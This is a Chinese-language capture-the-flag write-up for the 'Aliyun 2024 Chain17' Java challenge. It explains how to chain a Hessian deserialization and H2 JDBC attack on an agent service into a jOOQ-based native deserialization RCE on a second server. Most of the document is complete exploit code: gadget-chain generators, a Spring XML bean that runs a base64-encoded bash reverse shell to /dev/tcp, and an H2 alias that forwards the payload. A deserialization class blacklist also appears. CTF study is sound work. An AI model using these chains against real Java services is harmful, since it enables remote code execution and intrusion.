Aliyun 2024 Chain17
LastUpdate: 2024-05-20
前言
chain17 是一道富有挑战的 java 题,它涉及到两个独立的 java 应用容器,需要选手先攻击暴露的 agent 服务器再通过 agent RCE server 最终取得 flag,下面会逐一进行分析。
agent
jdk17 高版本 springboot服务器,h2 依赖可以打 JDBC attack,不受限的 java.util.concurrent.atomic 可以用来构造调用链。
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.2</version>
<relativePath/>
</parent>
<properties>
<java.version>17</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>hessian-lite</artifactId>
<version>3.2.13</version>
</dependency>
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.16</version>
</dependency>
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>2.2.224</version>
</dependency>
</dependencies>
CMD ["java", "--add-opens", "java.base/java.util.concurrent.atomic=ALL-UNNAMED", "-jar", "/opt/agent/agent-0.0.1-SNAPSHOT.jar"]
提供了 hessian 反序列化接口和可利用的 getter 方法,Bean#getObject 实现了有黑名单的原生反序列化。
@RequestMapping({"/read"})
public String read(@RequestBody String body) {
if (body != null)
try {
byte[] data = Base64.getDecoder().decode(body);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
Object object = hessian2Input.readObject();
return object.getClass().toString();
} catch (Exception e) {
return e.toString();
}
return "ok";
}
public class Bean implements Serializable {
byte[] data;
public void setData(byte[] data) {
this.data = data;
}
public Object getObject() throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(this.data);
BeanInputStream beanInputStream = new BeanInputStream(byteArrayInputStream);
Object object = beanInputStream.readObject();
return object;
}
}
class BeanInputStream extends ObjectInputStream {
static List<String> blackList = new ArrayList<>();
static {
try {
blackList = new ArrayList<>(List.of("org.h2.", "com.fasterxml."));
List<String> defaultBlackList = Arrays.asList(ResourceUtil.readUtf8Str("blacklist.txt").split("[\\n\\r]+"));
defaultBlackList = defaultBlackList.stream().filter(l -> !l.startsWith("#")).map(l -> l.strip()).toList();
blackList.addAll(defaultBlackList);
} catch (Exception e) {
e.printStackTrace();
}
}
public BeanInputStream(InputStream s) throws IOException {
super(s);
}
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
List<String> rules = blackList.stream().filter(l -> desc.getName().startsWith(l)).toList();
if (!rules.isEmpty())
throw new RuntimeException("%s matches blacklist rules: %s".formatted(new Object[] { desc.getName(), String.join(",", rules) }));
return super.resolveClass(desc);
}
}
blacklist.txt
bsh.
ch.qos.logback.core.db.
clojure.
com.alibaba.citrus.springext.support.parser.
com.alibaba.citrus.springext.util.SpringExtUtil.
com.alibaba.druid.pool.
com.alibaba.hotcode.internal.org.apache.commons.collections.functors.
com.alipay.custrelation.service.model.redress.
com.alipay.oceanbase.obproxy.druid.pool.
com.caucho.config.types.
com.caucho.hessian.test.
com.caucho.naming.
com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller.
com.ibm.xltxe.rnm1.xtq.bcel.util.
com.mchange.v2.c3p0.
com.mysql.jdbc.util.
com.rometools.rome.feed.
com.sun.corba.se.impl.
com.sun.corba.se.spi.orbutil.
com.sun.jndi.rmi.
com.sun.jndi.toolkit.
com.sun.org.apache.bcel.internal.
com.sun.org.apache.xalan.internal.
com.sun.rowset.
com.sun.xml.internal.bind.v2.
com.taobao.vipserver.commons.collections.functors.
groovy.lang.
java.awt.
java.beans.
java.lang.ProcessBuilder
java.lang.Runtime
java.rmi.server.
java.security.
java.util.ServiceLoader
java.util.StringTokenizer
javassist.bytecode.annotation.
javassist.tools.web.Viewer
javassist.util.proxy.
javax.imageio.
javax.imageio.spi.
javax.management.
javax.media.jai.remote.
javax.naming.
javax.script.
javax.sound.sampled.
javax.swing.
javax.xml.transform.
net.bytebuddy.dynamic.loading.
oracle.jdbc.connector.
oracle.jdbc.pool.
org.apache.aries.transaction.jms.
org.apache.bcel.util.
org.apache.carbondata.core.scan.expression.
org.apache.commons.beanutils.
org.apache.commons.codec.binary.
org.apache.commons.collections.functors.
org.apache.commons.collections4.functors.
org.apache.commons.codec.
org.apache.commons.configuration.
org.apache.commons.configuration2.
org.apache.commons.dbcp.datasources.
org.apache.commons.dbcp2.datasources.
org.apache.commons.fileupload.disk.
org.apache.ibatis.executor.loader.
org.apache.ibatis.javassist.bytecode.
org.apache.ibatis.javassist.tools.
org.apache.ibatis.javassist.util.
org.apache.ignite.cache.
org.apache.log.output.db.
org.apache.log4j.receivers.db.
org.apache.myfaces.view.facelets.el.
org.apache.openjpa.ee.
org.apache.openjpa.ee.
org.apache.shiro.
org.apache.tomcat.dbcp.
org.apache.velocity.runtime.
org.apache.velocity.
org.apache.wicket.util.
org.apache.xalan.xsltc.trax.
org.apache.xbean.naming.context.
org.apache.xpath.
org.apache.zookeeper.
org.aspectj.
org.codehaus.groovy.runtime.
org.datanucleus.store.rdbms.datasource.dbcp.datasources.
org.dom4j.
org.eclipse.jetty.util.log.
org.geotools.filter.
org.h2.value.
org.hibernate.tuple.component.
org.hibernate.type.
org.jboss.ejb3.
org.jboss.proxy.ejb.
org.jboss.resteasy.plugins.server.resourcefactory.
org.jboss.weld.interceptor.builder.
org.junit.
org.mockito.internal.creation.cglib.
org.mortbay.log.
org.mockito.
org.thymeleaf.
org.quartz.
org.springframework.aop.aspectj.
org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler
org.springframework.beans.factory.
org.springframework.expression.spel.
org.springframework.jndi.
org.springframework.orm.
org.springframework.transaction.
org.yaml.snakeyaml.tokens.
ognl.
pstore.shaded.org.apache.commons.collections.
sun.print.
sun.rmi.server.
sun.rmi.transport.
weblogic.ejb20.internal.
weblogic.jms.common.
为了实现 JDBC attack,我们先从依赖中找到连接数据库的方法,hutool 提供了 AbstractDSFactory#getDataSource 和它的实现类 PooledDSFactory 用于创建 DataSource 和数据库连接,但是 Hessian2 反序列化受 jdk17 module 机制影响无法反序列化 PooledDSFactory,这个时候刚好可以利用 Bean#getObject 二次反序列化 PooledDSFactory。
String url = "jdbc:h2:mem:test;init=SQL-Payload"
Setting setting = new Setting();
setting.put("url", url);
setting.put("initialSize", "1");
setting.setCharset(null);
Unsafe unsafe = (Unsafe) ReflectUtil.getFieldValue(null, ReflectUtil.getField(Unsafe.class, "theUnsafe"));
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
ReflectUtil.setFieldValue(pooledDSFactory, "dataSourceName", PooledDSFactory.DS_NAME);
ReflectUtil.setFieldValue(pooledDSFactory, "setting", setting);
ReflectUtil.setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());
Bean bean = new Bean();
bean.setData(SerializeUtil.serialize(pooledDSFactory));
接下来考虑如何从 Hessian2 反序列化调用 getter 方法,这里出题人也给了 hint,先用 hessian2 的反序列化触发 cn.hutool.json.JSONObject 的 put 方法,然后调用的cn.hutool.json.JSONUtil#wrap 方法会调用 jdk 内部类的 toString 方法,这里用上面提到的 java.util.concurrent.atomic.AtomicReference 类衔接,它的 toString 方法又会调用其内部 value 字段的 toString 方法,包括我们想要的 POJONod#toString。由于 jackson 的链子中 getter 方法可以接着其返回值连续触发,所以会先反序列化 PooledDSFactory 再调用 getDataSource 实现 JDBC attack。
import cn.hutool.core.map.SafeConcurrentHashMap;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import cn.hutool.db.ds.pooled.PooledDSFactory;
import cn.hutool.json.JSONObject;
import cn.hutool.setting.Setting;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.aliyunctf.agent.other.Bean;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.util.Base64;
import java.util.concurrent.atomic.AtomicReference;
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
public class PocAgent {
public static void main(String[] args) throws Exception {
gen("runscript from 'http://localhost:8000/localhost.sql'");
}
public static void gen(String sql) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
hessian2Output.writeMapBegin(JSONObject.class.getName());
hessian2Output.writeObject("whatever");
String url = String.format("jdbc:h2:mem:test;init=%s", sql);
Setting setting = new Setting();
setting.put("url", url);
setting.put("initialSize", "1");
setting.setCharset(null);
Unsafe unsafe = (Unsafe) ReflectUtil.getFieldValue(null, ReflectUtil.getField(Unsafe.class, "theUnsafe"));
PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class);
ReflectUtil.setFieldValue(pooledDSFactory, "dataSourceName", PooledDSFactory.DS_NAME);
ReflectUtil.setFieldValue(pooledDSFactory, "setting", setting);
ReflectUtil.setFieldValue(pooledDSFactory, "dsMap", new SafeConcurrentHashMap<>());
Bean bean = new Bean();
bean.setData(SerializeUtil.serialize(pooledDSFactory));
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(bean);
Object object = new AtomicReference<>(pojoNode);
hessian2Output.writeObject(object);
hessian2Output.writeMapEnd();
hessian2Output.close();
byte[] data = byteArrayOutputStream.toByteArray();
System.out.println(Base64.getEncoder().encodeToString(data));
}
}
Server
<properties>
<java.version>17</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.jooq</groupId>
<artifactId>jooq</artifactId>
<version>3.19.3</version>
</dependency>
</dependencies>
提供了反序列化接口,只要在 jooq 中找一个可利用的 getter 方法就好了。
@RequestMapping({"/read"})
public String read(@RequestBody String body) {
if (body != null)
try {
byte[] data = Base64.getDecoder().decode(body);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
Object object = objectInputStream.readObject();
return object.getClass().toString();
} catch (Exception e) {
return e.toString();
}
return "ok";
}
这里给出结论,org.jooq.impl.ConvertedVal#getValue 可以调用 org.jooq.impl.TableDataType 的 convert 方法最终实例化一个具有唯一参数并且该参数的类型不与类本身相同的类,所以可以尝试实例化 ClassPathXmlApplicationContext 加载 bean RCE。
import cn.hutool.core.io.FileUtil;
import cn.hutool.core.util.ReflectUtil;
import cn.hutool.core.util.SerializeUtil;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.jooq.DataType;
import org.springframework.context.support.ClassPathXmlApplicationContext;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import java.io.File;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.Vector;
// JDK17 VM options:
// --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED
public class PocServer {
public static void main(String[] args) throws Exception {
gen("http://localhost:8000/poc.xml");
}
public static void gen(String url) throws Exception{
Class clazz1 = Class.forName("org.jooq.impl.Dual");
Constructor constructor1 = clazz1.getDeclaredConstructors()[0];
constructor1.setAccessible(true);
Object table = constructor1.newInstance();
Class clazz2 = Class.forName("org.jooq.impl.TableDataType");
Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Object tableDataType = constructor2.newInstance(table);
Class clazz3 = Class.forName("org.jooq.impl.Val");
Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class);
constructor3.setAccessible(true);
Object val = constructor3.newInstance("whatever", tableDataType, false);
Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal");
Constructor constructor4 = clazz4.getDeclaredConstructors()[0];
constructor4.setAccessible(true);
Object convertedVal = constructor4.newInstance(val, tableDataType);
Object value = url;
Class type = ClassPathXmlApplicationContext.class;
ReflectUtil.setFieldValue(val, "value", value);
ReflectUtil.setFieldValue(tableDataType, "uType", type);
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(ctMethod);
ctClass.toClass();
POJONode pojoNode = new POJONode(convertedVal);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
byte[] data = SerializeUtil.serialize(eventListenerList);
System.out.println(Base64.getEncoder().encodeToString(data));
}
}
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.String">
<constructor-arg value="#{T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSAmPiAvZGV2L3RjcC9JUC9QT1JUIDA8JjE=}|{base64,-d}|{bash,-i}')}"/>
</bean>
</beans>
调用链 EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>
,接下来进入最后一步,利用我们上面获得的 agent SQL RCE 发送这个 payload 到 server 服务器反弹 shell 获得 flag。
create alias send as 'int send(String url, String poc) throws java.lang.Exception { java.net.http.HttpRequest request = java.net.http.HttpRequest.newBuilder().uri(new java.net.URI(url)).headers("Content-Type", "application/octet-stream").version(java.net.http.HttpClient.Version.HTTP_1_1).POST(java.net.http.HttpRequest.BodyPublishers.ofString(poc)).build(); java.net.http.HttpClient httpClient = java.net.http.HttpClient.newHttpClient(); httpClient.send(request, java.net.http.HttpResponse.BodyHandlers.ofString()); return 0;}';
call send('http://server:8080/read', 'base64编码的Server RCE Payload')